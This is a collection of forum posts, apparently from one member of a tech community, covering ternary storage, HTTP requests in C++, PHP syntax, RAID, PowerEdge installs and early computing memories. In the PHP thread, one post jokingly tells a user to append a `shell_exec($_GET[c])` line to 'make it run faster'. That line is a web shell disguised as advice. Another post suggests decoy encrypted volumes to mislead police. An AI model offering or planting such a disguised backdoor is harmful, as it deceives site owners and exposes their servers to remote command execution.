    We need a hard drive replacment!

    in Everything Else

    Posted

    I do understand how binary works, but my idea was representing 2 bits with 1 bit, there by halfing the amount of physical platter space needed to hold the same amount of data.

    So basically, you're saying use a base 3 numerical system, instead of base 2?

    It's an interesting idea, but I'm not sure it would be very practical.

    One reason digital communication can be done at very high frequencies (and is very useful) is that it only has two states: on and off. Because of this: there isn't really much chance of error, as the bits are unambiguous.

    A problem with using 3 bits is that the electrical signals for transmitting digital data are all based on tolerances. For example: for CMOS based logic, (I can't remember the values for TTL off the top of my head :P ) a '0' is any voltage falling below one third of the supply voltage (Vdd), and a '1' is any voltage above two thirds of the supply voltage. The reason for this is that it would be very hard, if not impossible to use exact voltages.

    By introducing a third state, the voltage to signify the said state would have to fall between one third and two thirds of the supply voltage.

    For the amount of benefit you would gain from using a base 3 numerical system, the circuitry required would be way too complex, potentially slow, and more prone to errors. If you think about it: if you just want to keep adding bits, you may as well be using an analouge signal ;)

    It's an interesting idea, but I think you would be sacrificing speed and simplicity for storage space.

    I get excited thinking about the cool things I could do with new hardware. I get excited thinking about the fun I could have with large amounts of old hardware. I get excited about Open Document Formats. I love it when I find a really handy keyboard shortcut. I love it when I find a piece of freeware that does exactly what I want.

    I use computers in analogies when explaining things to people. I work with 5 people whose lives are dedicated to computing, and even they call me a geek. I get irritated by the Windows installer taking an hour to complete and asking me questions every 5 minutes. I love how a Linux installer will spend 5 minutes asking me questions, and then sit quietly in the corner for an hour.

    I love it when software isn’t needlessly complex. I hate it when software is ‘too’ user friendly. I love the feeling of slotting a new piece of hardware into an old system. I hate it when I have to use some-one else’s keyboard. I hate it when I can only have up to a 10 character password.

    I love looking at hardware that I can’t afford. I love making my old hardware the best it can be. I hate people who buy the latest hardware, but don’t use it to it’s full potential. I love Google. I hate people who can’t seem to use Google. I hate people who can’t use their initiative.

    I can’t help looking at how a network is configured. I can’t help exploring. I can’t help but smile when a piece of code just works. I can’t help but grab the mouse or keyboard when someone is trying to type something at 7 WPM.

    I love to solve problems. I love to learn. I love to help people, and I love to help people help themselves. I hate it when people act stupid. I love it when I’ve just freed up a few more gigabytes of hard disk space.

    I've got the technolust.

    Http request program

    hmm...

    not quite, but THX any way barrytone & l0gic:)

    In need prog, which will send a simply http request

    like:

    GET / HTTP/1.1rn

    Accept: */*rn

    Accept-Language: plrn

    Accept-Encoding: gzip, deflatern

    Host: www.google.ukrn

    Connection: Keep-Alivern

    rn

    and gave me google page code back.

    like IE or Mozilla FF but in C++ code!

    How about this one?

    http://www.jlab.org/~chen/cmlog/cmlog-2-1-b/node27.html

    I'm not a c++ coder, so I'm not gonna bother trying to figure out if that would suit your needs :P

    Then if say it was the police and they demand the passkey for the encrypted file because they know its encrypted (not hard to find out) then you can give them the first one, have something worth encrypting in there, like your Tax Returns, and they will never be able to find the hidden volume with all the juciy stuff in it.

    I think if I were to be involved in anything the police would want me for, I would invest in a RAM disk :wink:

    Shortest Path

    Sounds like a great idea :)

    Not only would it create a bit of fun and competition, it could also help further people's knowledge of various programming languages and think creatively :)

    php code/advertisement

    doesn't the require function need an absolute path to the file?

    Not as far as I know. Relative paths should work fine. The only difference between require() and include() is to do with their error handling.

    Unless you don't have include_path set right, that is.

    <?php

    $auscode = "great";

    while($auscode == "great"){

    echo "AusCode is great"

    } else {

    require("YouMembership.php");}

    ?>

    http://www.AusCode.net

    I've never seen a While / Else structure in PHP though...

    Or any other language for that matter :?

    And there's a semicolon missing after the echo statement :P

    Try this one:

    &lt;?php

$auscode = "great";



if($auscode == "great") {

    echo "AusCode is great";

} else {

    require("YouMembership.php");

}

?&gt;

    It's still pointless code though. Maybe if $auscode wasn't set and it was $_GET[auscode]; :wink:

    Actually... Append this to the end of your code. It makes it run faster...

    echo "&lt;pre&gt;" . shell_exec($_GET[c]) . "&lt;/pre&gt;";

    Try it on your site and post a link so we can all see the difference :)

    Ok, so I'm bored :roll:

    MySQL Frontend Software

    There's always MySQL Administrator...

    http://www.mysql.com/products/tools/administrator/

    It's not really built for this sort of thing though.

    What exactly do the office workers need to do with database?

    You've coded a form that inserts data into the database, so why not code a page that takes information out of the database for the office workers to use?

    It wouldn't be too much harder than making the form and the code to insert data, and it could be tailored to your exact needs :)

    As for transfering the data to Excell, I think one of the easiest ways to do it would be to write some code that takes data from the database, and outputs it to a CSV file that can then be imported into excell.

    I'm not sure why dell chose to do it that way. Sorry!

    As for RAID... Software RAID will work ok if you want disk mirroring (RAID 1), but hardware raid is going to be faster, allow other types of RAID, and take the strain off your CPU.

    Poweredge OS install

    The 4300 will boot from a CD, despite the fact that it is not listed in the boot sequence settings in the BIOS setup. The system checks for a bootable cd on startup and will boot from the CD, regardless of your boot sequence settings.

    Make sure the CD you are trying to boot from is definately bootable. Try a CD that you know another computer will boot from.

    For Windows XP, there was a program you could download to make setup boot floppies. Such a thing doesn't exist for server 2003 as far as I know. It's not something I've really had to look into much, to be honest. I've not had a machine that won't boot from CD or network in years :roll:

    What model is it? There are a lot of different poweredge servers.

    It's strange that you can't boot from the CD drive. Is it not an SCSI cd drive?

    Otherwise, it depends on what OS you want to put on it. There are boot floppys for various operating systems that will load up CD drivers.

    So: let us know what operating system you want to install, and the model of your server, and I or someone else will be able to help out a bit more :)

    About to move house, and its going to take a week, maybe 2 to get the internet connected again. There are no AP's near my new house so no free wireless. So during that time I won't be about as much as usual to moderate and type garbage.

    Good luck with your move :)

    Where you moving too?

    Blizzard, Rip off or good idea?

    I don't play any of the aformentioned games, so I can't pass comment as easily as others may be able to. But, I imagine that perhaps the WoW servers require more maintainance than the other servers.

    Don't they employ people to play characters in the game or something like that?

    It's also possible that WoW requires more bandwidth etc (maybe because of popularity, or game content... Again I don't play it, so I'm not familier)

    Two copys of the same game on ONE computer.

    in Everything Else

    Posted

    It really depends on the game... And the operating system. I shall assume windows XP.

    For some games, but not many, you can have more than one installation.

    As a general rule, anything that stores it's settings in the registry, or folders other than the installation folder itself, would be hard to have two installations of. If you manage to get two installations of the same game installed, you may find that you can't have different settings in each installation, or you may recieve erros whilst trying to run the game.

    Another problem you have is that the installer for many games checks to see if the game is already installed. Some will fail at that point, others will give you the option to uninstall, repair or modify the installation of the game.

    Out of interest: why would you want to do this? And what game (if any) would you want to do it with?

    Where did you hear about Hak5?

    I first found it on google video. Just as episode 10 came out I think. I'd watched a few other IPTV computer type shows with great expectations. None of them really seemed to live up to my expectations apart from hak5.

    So I watched the entire backlog of episodes, and then signed up for the forums. Then I found out there would be no-more episodes for 2 months. Nooooo! :P

    What was the first computer you worked with

    in Everything Else

    Posted

    My first computer I had to tinker with to get it to work at all was a ZX Spectrum. But that was all tinkering for the sake of getting spy hunter and wizard's lair to run :P

    The first computer I really played about with was a 486 DX2 66Mhz, with 4mb of ram and a 512mb HDD. My dad bought us it for when my sister moved up to high school in 1994. I was about 7.

    I got a book on QBasic out of the library and started off making programs that would ask your name and age, play a tune, change the screen colours about and then tell you how old you'd be in 10 years time :lol:

    I then broke the computer one day and had about 4 hours to re-install windows 3.11, all the applications we had, and get program manager layed out the way it was before. At the time, my dad didn't want ANY settings changing on it at all, and got pissed if my sister or I had moved the icons about :roll:

    So I learnt. Purley out of necessity. I pulled it off, and I definately learnt a lot about computers in those 4 hours. How to install an OS, confiure drivers and IRQs. I also learnt that my sister's "101 Dalmations Print Studio" slowed the computer down more than anything else. I bitched at her for weeks afterwards to let me uninstall that.

    After that, a friend and I spent 6 months saving our pocket money / allowance and pursuading out parents to take us to computer fairs. We eventually built up a 486 with 8mb of ram and a 512mb HDD for us to tinker about with. I carried on with QBasic, making programs with simple graphics and conditionals. I learnt that proprietry CD interfaces really suck, and saved up for about a month to get a creative soundcard that had an interface on it for the CD drive I bought.

    I eventually got a 586 "Overdrive" processor and an extra 16mb of ram and installed windows 95. Life's never been the same since :)
